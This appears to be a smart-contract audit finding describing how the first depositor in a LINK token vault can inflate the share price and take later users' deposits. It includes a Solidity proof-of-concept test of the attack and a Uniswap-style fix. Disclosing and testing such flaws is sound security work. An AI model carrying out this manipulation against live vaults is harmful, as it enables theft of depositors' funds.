Ruhum

high

# First depositor to Vault can break minting of shares

## Summary
The first depositor can manipulate the share price for subsequent depositors' funds. This is a pretty well-known issue. It was also reported in the Sentiment contest a couple of weeks ago: https://github.com/sherlock-audit/2022-08-sentiment-judging#issue-h-1-a-malicious-early-userattacker-can-manipulate-the-ltokens-pricepershare-to-take-an-unfair-share-of-future-users-deposits

## Vulnerability Detail
The share price is based on the total number of LINK tokens inside the vault. By first depositing 1 wei and then transferring a large number of tokens, e.g. `10000e18`, the attacker can manipulate the price.

The next user that deposits tokens won't receive any shares unless they deposit more than `10000e18` tokens. Their deposit will go through but they won't receive any shares. The attacker waits for users to deposit their funds. After that, as the sole owner of the vault's shares, they can withdraw all the funds.

## Impact
Funds of depositors can be stolen by a malicious first depositor.

## Code Snippet

Here's a PoC showing the issue:
```sol
// deposit.t.sol
contract Vault_depositTest is VaultTest {
// ....
    function testAttack() public {
        address attacker = vm.addr(1);
        // will be deposited
        link.mint(attacker, 1);
        // will be sent directly
        link.mint(attacker, 10000e18);
        vm.startPrank(attacker);

        link.approve(address(vault), 1);

        vault.deposit(1);

        assertEq(vault.totalSupply(), 1);
        assertEq(vault.balanceOf(attacker), 1);
        assertEq(vault.shares(attacker), 1 * vault.STARTING_SHARES_PER_LINK());

        link.transfer(address(vault), 10000e18);

        vm.stopPrank();

        address user = vm.addr(2);
        link.mint(user, 1e18);
        vm.startPrank(user);
        link.approve(address(vault), 1e18);

        vault.deposit(1e18);
        assertEq(vault.totalSupply(), 10001e18 + 1);
        assertEq(vault.balanceOf(user), 1e18);
        assertEq(vault.shares(user), 1e18 * vault.STARTING_SHARES_PER_LINK());
    }
}
```

## Tool used

Manual Review

## Recommendation
Uniswap solved this by sending the first shares to the 0 address: https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L119-L124
